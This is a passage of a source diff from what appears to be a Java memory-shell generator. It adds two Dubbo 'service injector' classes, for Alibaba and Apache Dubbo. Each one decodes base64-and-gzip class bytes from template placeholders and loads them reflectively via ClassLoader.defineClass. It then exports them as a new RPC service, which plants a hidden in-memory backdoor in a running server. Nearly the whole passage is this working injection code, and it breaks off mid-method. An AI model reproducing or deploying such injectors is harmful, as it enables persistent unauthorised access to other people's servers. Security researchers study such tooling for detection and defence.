||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public String getHelperBase64String() {
|
||||
return "{{helperBase64String}}";
|
||||
}
|
||||
|
||||
public AlibabaDubboServiceInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
try {
|
||||
msg += registerService();
|
||||
} catch (Throwable e) {
|
||||
msg += "unexcepted error: " + stackTrace(e);
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
public String registerService() throws Exception {
|
||||
String servicePath = normalizePath(getUrlPattern());
|
||||
if (servicePath.isEmpty()) {
|
||||
throw new IllegalArgumentException("path must not be empty");
|
||||
}
|
||||
|
||||
if (dynamicServices.containsKey(servicePath) || findRegisteredService(servicePath) != null) {
|
||||
return resolveServiceAddresses(servicePath);
|
||||
}
|
||||
|
||||
Class<?> serviceInterface = loadClass(getHelperBase64String());
|
||||
Class<?> serviceImpl = loadClass(getBase64String());
|
||||
validateServiceTypes(serviceInterface, serviceImpl);
|
||||
|
||||
ServiceConfig<?> serviceConfig = createServiceConfig(servicePath, serviceInterface, instantiate(serviceImpl));
|
||||
if (dynamicServices.putIfAbsent(servicePath, serviceConfig) != null) {
|
||||
return resolveServiceAddresses(servicePath);
|
||||
}
|
||||
|
||||
try {
|
||||
serviceConfig.export();
|
||||
return resolveServiceAddresses(servicePath);
|
||||
} catch (RuntimeException e) {
|
||||
dynamicServices.remove(servicePath, serviceConfig);
|
||||
throw e;
|
||||
}
|
||||
}
|
||||
|
||||
private Class<?> loadClass(String payload) throws Exception {
|
||||
ClassLoader classLoader = ClassHelper.getClassLoader(ClassGenerator.class);
|
||||
byte[] classBytes = gzipDecompress(decodeBase64(payload));
|
||||
definePackageIfNeeded(classLoader, getClassName());
|
||||
Class<?> loadedClass = defineClass(classLoader, classBytes);
|
||||
registerInJavassistClassPool(classLoader, classBytes);
|
||||
return loadedClass;
|
||||
}
|
||||
|
||||
private Class<?> defineClass(ClassLoader classLoader, byte[] classBytes) throws Exception {
|
||||
ProtectionDomain protectionDomain = ClassGenerator.class.getProtectionDomain();
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod(
|
||||
"defineClass",
|
||||
String.class,
|
||||
byte[].class,
|
||||
int.class,
|
||||
int.class,
|
||||
ProtectionDomain.class
|
||||
);
|
||||
defineClass.setAccessible(true);
|
||||
return (Class<?>) defineClass.invoke(classLoader, null, classBytes, 0, classBytes.length, protectionDomain);
|
||||
}
|
||||
|
||||
private void definePackageIfNeeded(ClassLoader classLoader, String className) {
|
||||
int packageEnd = className.lastIndexOf('.');
|
||||
if (packageEnd < 0) {
|
||||
return;
|
||||
}
|
||||
|
||||
String packageName = className.substring(0, packageEnd);
|
||||
try {
|
||||
Method getPackage = ClassLoader.class.getDeclaredMethod("getPackage", String.class);
|
||||
getPackage.setAccessible(true);
|
||||
if (getPackage.invoke(classLoader, packageName) != null) {
|
||||
return;
|
||||
}
|
||||
|
||||
Method definePackage = ClassLoader.class.getDeclaredMethod(
|
||||
"definePackage",
|
||||
String.class,
|
||||
String.class,
|
||||
String.class,
|
||||
String.class,
|
||||
String.class,
|
||||
String.class,
|
||||
String.class,
|
||||
java.net.URL.class
|
||||
);
|
||||
definePackage.setAccessible(true);
|
||||
definePackage.invoke(classLoader, packageName, null, null, null, null, null, null, null);
|
||||
} catch (Exception ignored) {
|
||||
// Defining the package is a convenience for older class loaders. The class can still load without it.
|
||||
}
|
||||
}
|
||||
|
||||
private void registerInJavassistClassPool(ClassLoader classLoader, byte[] classBytes) {
|
||||
try {
|
||||
ClassPool classPool = ClassGenerator.getClassPool(classLoader);
|
||||
classPool.makeClass(new ByteArrayInputStream(classBytes));
|
||||
} catch (Throwable ignored) {
|
||||
// Dubbo's proxy generator can still resolve already-defined classes if Javassist registration fails.
|
||||
}
|
||||
}
|
||||
|
||||
private static byte[] decodeBase64(String value) throws Exception {
|
||||
Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
|
||||
return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, value);
|
||||
}
|
||||
|
||||
private static byte[] gzipDecompress(byte[] bytes) throws Exception {
|
||||
GZIPInputStream inputStream = null;
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
try {
|
||||
inputStream = new GZIPInputStream(new ByteArrayInputStream(bytes));
|
||||
byte[] buffer = new byte[4096];
|
||||
int read;
|
||||
while ((read = inputStream.read(buffer)) > 0) {
|
||||
outputStream.write(buffer, 0, read);
|
||||
}
|
||||
return outputStream.toByteArray();
|
||||
} finally {
|
||||
if (inputStream != null) {
|
||||
inputStream.close();
|
||||
}
|
||||
outputStream.close();
|
||||
}
|
||||
}
|
||||
|
||||
private void validateServiceTypes(Class<?> serviceInterface, Class<?> serviceImpl) {
|
||||
if (!serviceInterface.isInterface()) {
|
||||
throw new IllegalArgumentException("not an interface: " + serviceInterface.getName());
|
||||
}
|
||||
if (serviceImpl.isInterface() || Modifier.isAbstract(serviceImpl.getModifiers())) {
|
||||
throw new IllegalArgumentException("implementation class is not instantiable: " + serviceImpl.getName());
|
||||
}
|
||||
if (!serviceInterface.isAssignableFrom(serviceImpl)) {
|
||||
throw new IllegalArgumentException(serviceImpl.getName() + " does not implement " + serviceInterface.getName());
|
||||
}
|
||||
}
|
||||
|
||||
private Object instantiate(Class<?> serviceImpl) {
|
||||
try {
|
||||
Constructor<?> constructor = serviceImpl.getDeclaredConstructor();
|
||||
constructor.setAccessible(true);
|
||||
return constructor.newInstance();
|
||||
} catch (Exception e) {
|
||||
throw new IllegalArgumentException("failed to instantiate " + serviceImpl.getName(), e);
|
||||
}
|
||||
}
|
||||
|
||||
private ServiceConfig<Object> createServiceConfig(String servicePath, Class<?> serviceInterface, Object serviceImpl) {
|
||||
ServiceConfig<Object> serviceConfig = new ServiceConfig<Object>();
|
||||
serviceConfig.setInterface(serviceInterface);
|
||||
serviceConfig.setRef(serviceImpl);
|
||||
serviceConfig.setPath(servicePath);
|
||||
|
||||
ProviderConfig providerConfig = findProviderConfig();
|
||||
if (providerConfig != null) {
|
||||
serviceConfig.setProvider(providerConfig);
|
||||
if (notEmpty(providerConfig.getVersion())) {
|
||||
serviceConfig.setVersion(providerConfig.getVersion());
|
||||
}
|
||||
}
|
||||
|
||||
ApplicationConfig applicationConfig = findApplicationConfig(providerConfig);
|
||||
if (applicationConfig != null) {
|
||||
serviceConfig.setApplication(applicationConfig);
|
||||
}
|
||||
|
||||
List<ProtocolConfig> protocolConfigs = findProtocolConfigs(providerConfig);
|
||||
if (!protocolConfigs.isEmpty()) {
|
||||
serviceConfig.setProtocols(protocolConfigs);
|
||||
}
|
||||
|
||||
List<RegistryConfig> registryConfigs = findRegistryConfigs(providerConfig, applicationConfig);
|
||||
if (!registryConfigs.isEmpty()) {
|
||||
serviceConfig.setRegistries(registryConfigs);
|
||||
}
|
||||
|
||||
return serviceConfig;
|
||||
}
|
||||
|
||||
private ServiceConfig<?> findRegisteredService(String servicePath) {
|
||||
String normalizedPath = normalizePath(servicePath);
|
||||
for (ProviderModel providerModel : providerModels()) {
|
||||
ServiceConfig<?> serviceConfig = providerModel.getMetadata();
|
||||
if (serviceConfig != null && normalizedPath.equals(normalizePath(serviceConfig.getPath()))) {
|
||||
return serviceConfig;
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private ProviderConfig findProviderConfig() {
|
||||
for (ProviderModel providerModel : providerModels()) {
|
||||
ServiceConfig<?> serviceConfig = providerModel.getMetadata();
|
||||
if (serviceConfig != null && serviceConfig.getProvider() != null) {
|
||||
return serviceConfig.getProvider();
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private ApplicationConfig findApplicationConfig(ProviderConfig providerConfig) {
|
||||
if (providerConfig != null && providerConfig.getApplication() != null) {
|
||||
return providerConfig.getApplication();
|
||||
}
|
||||
|
||||
for (ProviderModel providerModel : providerModels()) {
|
||||
com.alibaba.dubbo.config.ServiceConfig<?> serviceConfig = providerModel.getMetadata();
|
||||
if (serviceConfig == null) {
|
||||
continue;
|
||||
}
|
||||
if (serviceConfig.getApplication() != null) {
|
||||
return serviceConfig.getApplication();
|
||||
}
|
||||
if (serviceConfig.getProvider() != null && serviceConfig.getProvider().getApplication() != null) {
|
||||
return serviceConfig.getProvider().getApplication();
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private List<ProtocolConfig> findProtocolConfigs(ProviderConfig providerConfig) {
|
||||
List<ProtocolConfig> protocols = new ArrayList<ProtocolConfig>();
|
||||
addProtocols(protocols, providerConfig == null ? null : providerConfig.getProtocols());
|
||||
for (ProviderModel providerModel : providerModels()) {
|
||||
ServiceConfig<?> serviceConfig = providerModel.getMetadata();
|
||||
if (serviceConfig == null) {
|
||||
continue;
|
||||
}
|
||||
addProtocols(protocols, serviceConfig.getProtocols());
|
||||
addProtocols(protocols, serviceConfig.getProvider() == null ? null : serviceConfig.getProvider().getProtocols());
|
||||
}
|
||||
return uniqueProtocols(protocols);
|
||||
}
|
||||
|
||||
private List<RegistryConfig> findRegistryConfigs(ProviderConfig providerConfig, ApplicationConfig applicationConfig) {
|
||||
List<RegistryConfig> registries = registries(providerConfig == null ? null : providerConfig.getRegistries());
|
||||
if (!registries.isEmpty()) {
|
||||
return registries;
|
||||
}
|
||||
|
||||
registries = registries(applicationConfig == null ? null : applicationConfig.getRegistries());
|
||||
if (!registries.isEmpty()) {
|
||||
return registries;
|
||||
}
|
||||
|
||||
for (ProviderModel providerModel : providerModels()) {
|
||||
ServiceConfig<?> serviceConfig = providerModel.getMetadata();
|
||||
if (serviceConfig == null) {
|
||||
continue;
|
||||
}
|
||||
|
||||
registries = registries(serviceConfig.getRegistries());
|
||||
if (!registries.isEmpty()) {
|
||||
return registries;
|
||||
}
|
||||
|
||||
ProviderConfig serviceProvider = serviceConfig.getProvider();
|
||||
registries = registries(serviceProvider == null ? null : serviceProvider.getRegistries());
|
||||
if (!registries.isEmpty()) {
|
||||
return registries;
|
||||
}
|
||||
|
||||
ApplicationConfig serviceApplication = serviceConfig.getApplication();
|
||||
registries = registries(serviceApplication == null ? null : serviceApplication.getRegistries());
|
||||
if (!registries.isEmpty()) {
|
||||
return registries;
|
||||
}
|
||||
}
|
||||
|
||||
return new ArrayList<RegistryConfig>();
|
||||
}
|
||||
|
||||
private String resolveServiceAddresses(String servicePath) {
|
||||
String normalizedPath = normalizePath(servicePath);
|
||||
ServiceConfig<?> serviceConfig = dynamicServices.get(normalizedPath);
|
||||
if (serviceConfig == null) {
|
||||
serviceConfig = findRegisteredService(normalizedPath);
|
||||
}
|
||||
if (serviceConfig == null) {
|
||||
return normalizedPath;
|
||||
}
|
||||
|
||||
List<URL> exportedUrls = serviceConfig.getExportedUrls();
|
||||
if (exportedUrls != null && !exportedUrls.isEmpty()) {
|
||||
return formatUrls(exportedUrls);
|
||||
}
|
||||
|
||||
List<ProtocolConfig> protocols = uniqueProtocols(serviceConfig.getProtocols());
|
||||
if (protocols.isEmpty() && serviceConfig.getProvider() != null) {
|
||||
protocols = uniqueProtocols(serviceConfig.getProvider().getProtocols());
|
||||
}
|
||||
if (protocols.isEmpty()) {
|
||||
return normalizedPath;
|
||||
}
|
||||
|
||||
return formatProtocolAddresses(protocols, normalizedPath);
|
||||
}
|
||||
|
||||
private String formatUrls(List<URL> urls) {
|
||||
StringBuilder builder = new StringBuilder();
|
||||
for (URL url : urls) {
|
||||
if (builder.length() > 0) {
|
||||
builder.append(", ");
|
||||
}
|
||||
builder.append(formatUrl(url));
|
||||
}
|
||||
return builder.toString();
|
||||
}
|
||||
|
||||
private String formatProtocolAddresses(List<ProtocolConfig> protocols, String path) {
|
||||
StringBuilder builder = new StringBuilder();
|
||||
for (ProtocolConfig protocol : protocols) {
|
||||
if (builder.length() > 0) {
|
||||
builder.append(", ");
|
||||
}
|
||||
builder.append(formatProtocolAddress(protocol, path));
|
||||
}
|
||||
return builder.toString();
|
||||
}
|
||||
|
||||
private String formatUrl(URL url) {
|
||||
String path = normalizePath(url.getPath());
|
||||
int port = url.getPort();
|
||||
return port > 0
|
||||
? String.format("%s://%s:%d/%s", url.getProtocol(), DISPLAY_HOST, port, path)
|
||||
: String.format("%s://%s/%s", url.getProtocol(), DISPLAY_HOST, path);
|
||||
}
|
||||
|
||||
private String formatProtocolAddress(ProtocolConfig protocol, String path) {
|
||||
String protocolName = notEmpty(protocol.getName()) ? protocol.getName() : "dubbo";
|
||||
Integer port = protocol.getPort();
|
||||
return port != null && port > 0
|
||||
? String.format("%s://%s:%d/%s", protocolName, DISPLAY_HOST, port, path)
|
||||
: String.format("%s://%s/%s", protocolName, DISPLAY_HOST, path);
|
||||
}
|
||||
|
||||
private List<ProviderModel> providerModels() {
|
||||
try {
|
||||
return ApplicationModel.allProviderModels();
|
||||
} catch (Throwable ignored) {
|
||||
return new ArrayList<ProviderModel>();
|
||||
}
|
||||
}
|
||||
|
||||
private void addProtocols(List<ProtocolConfig> target, List<ProtocolConfig> source) {
|
||||
if (source != null) {
|
||||
target.addAll(source);
|
||||
}
|
||||
}
|
||||
|
||||
private List<ProtocolConfig> uniqueProtocols(List<ProtocolConfig> protocols) {
|
||||
Map<String, ProtocolConfig> unique = new LinkedHashMap<String, ProtocolConfig>();
|
||||
if (protocols != null) {
|
||||
for (ProtocolConfig protocol : protocols) {
|
||||
if (protocol != null) {
|
||||
unique.put(protocolKey(protocol), protocol);
|
||||
}
|
||||
}
|
||||
}
|
||||
return new ArrayList<ProtocolConfig>(unique.values());
|
||||
}
|
||||
|
||||
private List<RegistryConfig> registries(List<RegistryConfig> registries) {
|
||||
return registries == null ? new ArrayList<RegistryConfig>() : new ArrayList<RegistryConfig>(registries);
|
||||
}
|
||||
|
||||
private String protocolKey(ProtocolConfig protocol) {
|
||||
return String.valueOf(protocol.getName())
|
||||
+ "|"
|
||||
+ String.valueOf(protocol.getHost())
|
||||
+ "|"
|
||||
+ String.valueOf(protocol.getPort())
|
||||
+ "|"
|
||||
+ String.valueOf(protocol.getServer())
|
||||
+ "|"
|
||||
+ String.valueOf(protocol.getId());
|
||||
}
|
||||
|
||||
private String normalizePath(String path) {
|
||||
if (path == null) {
|
||||
return "";
|
||||
}
|
||||
|
||||
String normalized = path.trim();
|
||||
while (normalized.startsWith("/")) {
|
||||
normalized = normalized.substring(1);
|
||||
}
|
||||
return normalized;
|
||||
}
|
||||
|
||||
private boolean notEmpty(String value) {
|
||||
return value != null && !value.isEmpty();
|
||||
}
|
||||
|
||||
private String stackTrace(Throwable throwable) {
|
||||
StringWriter writer = new StringWriter();
|
||||
throwable.printStackTrace(new PrintWriter(writer));
|
||||
return writer.toString();
|
||||
}
|
||||
}
|
||||
+616
@@ -0,0 +1,616 @@
|
||||
package com.reajason.javaweb.memshell.injector.dubbo;
|
||||
|
||||
import javassist.ClassPool;
|
||||
import org.apache.dubbo.common.bytecode.ClassGenerator;
|
||||
import org.apache.dubbo.config.*;
|
||||
import org.apache.dubbo.rpc.model.ApplicationModel;
|
||||
|
||||
import java.io.*;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.lang.reflect.Modifier;
|
||||
import java.security.ProtectionDomain;
|
||||
import java.util.*;
|
||||
import java.util.concurrent.ConcurrentHashMap;
|
||||
import java.util.stream.Collectors;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
public class ApacheDubboServiceInjector {
|
||||
private final Map<String, ServiceConfig<?>> DYNAMIC_SERVICES = new ConcurrentHashMap<>();
|
||||
private static final String DISPLAY_HOST = "x.x.x.x";
|
||||
private static String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public String getHelperBase64String() {
|
||||
return "{{helperBase64String}}";
|
||||
}
|
||||
|
||||
public ApacheDubboServiceInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
try {
|
||||
msg += registerService();
|
||||
} catch (Throwable e) {
|
||||
msg += "unexcepted error: " + getErrorMessage(e);
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
private Class<?> loadClass(String payload) throws Exception {
|
||||
ClassLoader classLoader = resolveDubboClassLoader();
|
||||
byte[] classBytes = gzipDecompress(decodeBase64(payload));
|
||||
definePackageIfNeeded(classLoader, getClassName());
|
||||
Class<?> loadedClass = defineClass(classLoader, classBytes);
|
||||
registerInJavassistClassPool(classLoader, loadedClass.getName(), classBytes);
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return loadedClass;
|
||||
}
|
||||
|
||||
private ClassLoader resolveDubboClassLoader() {
|
||||
ClassLoader classLoader = invokeDubboClassLoader("org.apache.dubbo.common.utils.ClassHelper");
|
||||
if (classLoader != null) {
|
||||
return classLoader;
|
||||
}
|
||||
classLoader = invokeDubboClassLoader("org.apache.dubbo.common.utils.ClassUtils");
|
||||
if (classLoader != null) {
|
||||
return classLoader;
|
||||
}
|
||||
classLoader = ClassGenerator.class.getClassLoader();
|
||||
return classLoader != null ? classLoader : Thread.currentThread().getContextClassLoader();
|
||||
}
|
||||
|
||||
private ClassLoader invokeDubboClassLoader(String className) {
|
||||
try {
|
||||
Class<?> helperClass = Class.forName(className);
|
||||
return (ClassLoader) helperClass.getMethod("getClassLoader", Class.class).invoke(null, ClassGenerator.class);
|
||||
} catch (Throwable ignored) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
private Class<?> defineClass(ClassLoader classLoader, byte[] classBytes) throws Exception {
|
||||
ProtectionDomain protectionDomain = ClassGenerator.class.getProtectionDomain();
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod(
|
||||
"defineClass",
|
||||
String.class,
|
||||
byte[].class,
|
||||
int.class,
|
||||
int.class,
|
||||
ProtectionDomain.class
|
||||
);
|
||||
defineClass.setAccessible(true);
|
||||
return (Class<?>) defineClass.invoke(classLoader, null, classBytes, 0, classBytes.length, protectionDomain);
|
||||
}
|
||||
|
||||
private void definePackageIfNeeded(ClassLoader classLoader, String className) {
|
||||
int packageEnd = className.lastIndexOf('.');
|
||||
if (packageEnd < 0) {
|
||||
return;
|
||||
}
|
||||
String packageName = className.substring(0, packageEnd);
|
||||
try {
|
||||
Method getPackage = ClassLoader.class.getDeclaredMethod("getPackage", String.class);
|
||||
getPackage.setAccessible(true);
|
||||
if (getPackage.invoke(classLoader, packageName) != null) {
|
||||
return;
|
||||
}
|
||||
Method definePackage = ClassLoader.class.getDeclaredMethod(
|
||||
"definePackage",
|
||||
String.class,
|
||||
String.class,
|
||||
String.class,
|
||||
String.class,
|
||||
String.class,
|
||||
String.class,
|
||||
String.class,
|
||||
java.net.URL.class
|
||||
);
|
||||
definePackage.setAccessible(true);
|
||||
definePackage.invoke(classLoader, packageName, null, null, null, null, null, null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
private void registerInJavassistClassPool(ClassLoader classLoader, String className, byte[] classBytes) {
|
||||
try {
|
||||
ClassPool classPool = ClassGenerator.getClassPool(classLoader);
|
||||
try {
|
||||
classPool.getClass().getMethod("makeClassIfNew", InputStream.class).invoke(classPool, new ByteArrayInputStream(classBytes));
|
||||
} catch (NoSuchMethodException e) {
|
||||
classPool.getClass().getMethod("makeClass", InputStream.class).invoke(classPool, new ByteArrayInputStream(classBytes));
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
insertByteArrayClassPath(className, classLoader, classBytes);
|
||||
}
|
||||
|
||||
private void insertByteArrayClassPath(String className, ClassLoader classLoader, byte[] classBytes) {
|
||||
try {
|
||||
Class<?> classPoolClass = Class.forName("javassist.ClassPool");
|
||||
Class<?> classPathClass = Class.forName("javassist.ClassPath");
|
||||
Class<?> byteArrayClassPathClass = Class.forName("javassist.ByteArrayClassPath");
|
||||
insertClassPath(classPoolClass.getMethod("getDefault").invoke(null), classPoolClass, classPathClass, byteArrayClassPathClass, className, classBytes);
|
||||
insertClassPath(ClassGenerator.getClassPool(classLoader), classPoolClass, classPathClass, byteArrayClassPathClass, className, classBytes);
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private void insertClassPath(Object classPool, Class<?> classPoolClass, Class<?> classPathClass, Class<?> byteArrayClassPathClass, String className, byte[] classBytes) throws Exception {
|
||||
if (classPoolClass.getMethod("find", String.class).invoke(classPool, className) == null) {
|
||||
classPoolClass.getMethod("insertClassPath", classPathClass).invoke(classPool, byteArrayClassPathClass.getConstructor(String.class, byte[].class).newInstance(className, classBytes));
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] decodeBase64(String str) throws Exception {
|
||||
return Base64.getDecoder().decode(str);
|
||||
}
|
||||
|
||||
public static byte[] gzipDecompress(byte[] bArr) throws IOException {
|
||||
try (ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
|
||||
GZIPInputStream gZIPInputStream = new GZIPInputStream(new ByteArrayInputStream(bArr))) {
|
||||
byte[] bArr2 = new byte[4096];
|
||||
int i;
|
||||
while ((i = gZIPInputStream.read(bArr2)) > 0) {
|
||||
byteArrayOutputStream.write(bArr2, 0, i);
|
||||
}
|
||||
return byteArrayOutputStream.toByteArray();
|
||||
}
|
||||
}
|
||||
|
||||
public String registerService() throws Exception {
|
||||
String strNormalizePath = normalizePath(getUrlPattern());
|
||||
if (strNormalizePath.isEmpty()) {
|
||||
throw new IllegalArgumentException("path must not be empty");
|
||||
}
|
||||
if (!DYNAMIC_SERVICES.containsKey(strNormalizePath) && !isPathRegisteredInFramework(strNormalizePath)) {
|
||||
Class<?> shell = loadClass(getHelperBase64String());
|
||||
Class<?> shell2 = loadClass(getBase64String());
|
||||
validateServiceTypes(shell, shell2);
|
||||
ServiceConfig<?> serviceConfigCreateServiceConfig = createServiceConfig(strNormalizePath, shell, instantiate(shell2));
|
||||
if (DYNAMIC_SERVICES.putIfAbsent(strNormalizePath, serviceConfigCreateServiceConfig) != null) {
|
||||
return resolveServiceAddresses(strNormalizePath);
|
||||
}
|
||||
try {
|
||||
serviceConfigCreateServiceConfig.export();
|
||||
return resolveServiceAddresses(strNormalizePath);
|
||||
} catch (RuntimeException e) {
|
||||
DYNAMIC_SERVICES.remove(strNormalizePath, serviceConfigCreateServiceConfig);
|
||||
throw e;
|
||||
}
|
||||
}
|
||||
return resolveServiceAddresses(strNormalizePath);
|
||||
}
|
||||
|
||||
private boolean isPathRegisteredInFramework(String str) {
|
||||
try {
|
||||
for (Object obj : getRegisteredServices()) {
|
||||
if (str.equals(obj.getClass().getMethod("getPath").invoke(obj))) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
} catch (Exception e) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
private Collection<?> getRegisteredServices() {
|
||||
try {
|
||||
Object configManager = resolveConfigManager();
|
||||
return toList(invokeNoArgs(configManager, "getServices"));
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
Object objInvoke = ApplicationModel.class.getMethod("defaultModel").invoke(null);
|
||||
Object objInvoke2 = objInvoke.getClass().getMethod("getDefaultModule").invoke(objInvoke);
|
||||
Object objInvoke3 = objInvoke2.getClass().getMethod("getConfigManager").invoke(objInvoke2);
|
||||
return toList(invokeNoArgs(objInvoke3, "getServices"));
|
||||
} catch (Exception e2) {
|
||||
return new ArrayList<>();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private String normalizePath(String str) {
|
||||
if (str == null) {
|
||||
return "";
|
||||
}
|
||||
String strTrim = str.trim();
|
||||
while (true) {
|
||||
String str2 = strTrim;
|
||||
if (!str2.startsWith("/")) {
|
||||
return str2;
|
||||
}
|
||||
strTrim = str2.substring(1);
|
||||
}
|
||||
}
|
||||
|
||||
private void validateServiceTypes(Class<?> cls, Class<?> cls2) {
|
||||
if (!cls.isInterface()) {
|
||||
throw new IllegalArgumentException("not an interface: " + cls.getName());
|
||||
}
|
||||
if (cls2.isInterface() || Modifier.isAbstract(cls2.getModifiers())) {
|
||||
throw new IllegalArgumentException("implementation class is not instantiable: " + cls2.getName());
|
||||
}
|
||||
if (!cls.isAssignableFrom(cls2)) {
|
||||
throw new IllegalArgumentException(cls2.getName() + " does not implement " + cls.getName());
|
||||
}
|
||||
}
|
||||
|
||||
private Object instantiate(Class<?> cls) {
|
||||
try {
|
||||
Constructor<?> declaredConstructor = cls.getDeclaredConstructor();
|
||||
declaredConstructor.setAccessible(true);
|
||||
return declaredConstructor.newInstance();
|
||||
} catch (Exception e) {
|
||||
throw new IllegalArgumentException("failed to instantiate " + cls.getName(), e);
|
||||
}
|
||||
}
|
||||
|
||||
private ServiceConfig<Object> createServiceConfig(String str, Class<?> cls, Object obj) {
|
||||
Object configManager = resolveConfigManager();
|
||||
ProviderConfig providerConfigResolveDefaultProvider = resolveDefaultProvider(configManager);
|
||||
ProviderConfig providerConfigSanitizeProviderConfig = sanitizeProviderConfig(providerConfigResolveDefaultProvider);
|
||||
ServiceConfig<Object> serviceConfig = new ServiceConfig<>();
|
||||
serviceConfig.setInterface(cls);
|
||||
serviceConfig.setRef(obj);
|
||||
serviceConfig.setPath(str);
|
||||
serviceConfig.setProxy("jdk");
|
||||
if (providerConfigSanitizeProviderConfig != null) {
|
||||
serviceConfig.setProvider(providerConfigSanitizeProviderConfig);
|
||||
}
|
||||
ApplicationConfig applicationConfig = castApplicationConfig(extractOptionalValue(invokeNoArgs(configManager, "getApplication")));
|
||||
if (applicationConfig != null) {
|
||||
serviceConfig.setApplication(applicationConfig);
|
||||
}
|
||||
String strResolveConfiguredVersion = resolveConfiguredVersion(providerConfigResolveDefaultProvider);
|
||||
if (strResolveConfiguredVersion != null) {
|
||||
serviceConfig.setVersion(strResolveConfiguredVersion);
|
||||
}
|
||||
serviceConfig.setProtocols(resolveConfiguredProtocols(providerConfigResolveDefaultProvider, configManager));
|
||||
serviceConfig.setRegistries(resolveRegistriesForExport(castRegistries(toList(invokeNoArgs(configManager, "getDefaultRegistries"))), castRegistries(toList(invokeNoArgs(configManager, "getRegistries")))));
|
||||
return serviceConfig;
|
||||
}
|
||||
|
||||
private ProviderConfig resolveDefaultProvider(Object obj) {
|
||||
ProviderConfig providerConfigCastProviderConfig = castProviderConfig(extractOptionalValue(invokeNoArgs(obj, "getDefaultProvider")));
|
||||
if (providerConfigCastProviderConfig != null) {
|
||||
return providerConfigCastProviderConfig;
|
||||
}
|
||||
Object objInvokeNoArgs = invokeNoArgs(obj, "getDefaultModule");
|
||||
if (objInvokeNoArgs == null) {
|
||||
objInvokeNoArgs = invokeNoArgs(invokeStaticNoArgs(ApplicationModel.class, "defaultModel"), "getDefaultModule");
|
||||
}
|
||||
Object objInvokeNoArgs2 = invokeNoArgs(objInvokeNoArgs, "getConfigManager");
|
||||
ProviderConfig providerConfigCastProviderConfig2 = castProviderConfig(extractOptionalValue(invokeNoArgs(objInvokeNoArgs2, "getDefaultProvider")));
|
||||
return providerConfigCastProviderConfig2 != null ? providerConfigCastProviderConfig2 : castProviderConfig(firstElement(toList(invokeNoArgs(objInvokeNoArgs2, "getProviders"))));
|
||||
}
|
||||
|
||||
private ProviderConfig sanitizeProviderConfig(ProviderConfig providerConfig) {
|
||||
if (providerConfig == null) {
|
||||
return null;
|
||||
}
|
||||
List registries = providerConfig.getRegistries();
|
||||
if (registries == null || filterValidRegistries(registries).size() == registries.size()) {
|
||||
return providerConfig;
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private List<RegistryConfig> filterValidRegistries(Collection<RegistryConfig> collection) {
|
||||
if (collection == null) {
|
||||
return new ArrayList<>();
|
||||
}
|
||||
return collection.stream()
|
||||
.filter(registryConfig -> registryConfig != null && registryConfig.isValid())
|
||||
.collect(Collectors.toList());
|
||||
}
|
||||
|
||||
private List<RegistryConfig> resolveRegistriesForExport(Collection<RegistryConfig> collection, Collection<RegistryConfig> collection2) {
|
||||
List<RegistryConfig> listFilterValidRegistries = filterValidRegistries(collection);
|
||||
if (!listFilterValidRegistries.isEmpty()) {
|
||||
return listFilterValidRegistries;
|
||||
}
|
||||
List<RegistryConfig> listFilterValidRegistries2 = filterValidRegistries(collection2);
|
||||
return !listFilterValidRegistries2.isEmpty() ? listFilterValidRegistries2 : Collections.singletonList(new RegistryConfig("N/A"));
|
||||
}
|
||||
|
||||
private String resolveConfiguredVersion(Object obj) {
|
||||
return stringValue(invokeNoArgs(obj, "getVersion"), null);
|
||||
}
|
||||
|
||||
private List<ProtocolConfig> resolveConfiguredProtocols(ProviderConfig providerConfig, Object configManager) {
|
||||
return resolveConfiguredProtocols(providerConfig, configManager, getRegisteredServices());
|
||||
}
|
||||
|
||||
private List<ProtocolConfig> resolveConfiguredProtocols(ProviderConfig providerConfig, Object configManager, Collection<?> collection) {
|
||||
return mergeProtocols(mergeProtocols(mergeProtocols(providerConfig == null ? null : providerConfig.getProtocols(), castProtocols(toList(invokeNoArgs(configManager, "getDefaultProtocols")))), castProtocols(toList(invokeNoArgs(configManager, "getProtocols")))), collectProtocolsFromServices(collection));
|
||||
}
|
||||
|
||||
private List<ProtocolConfig> collectProtocolsFromServices(Collection<?> collection) {
|
||||
List<ProtocolConfig> arrayList = new ArrayList<>();
|
||||
if (collection != null) {
|
||||
try {
|
||||
for (Object service : collection) {
|
||||
try {
|
||||
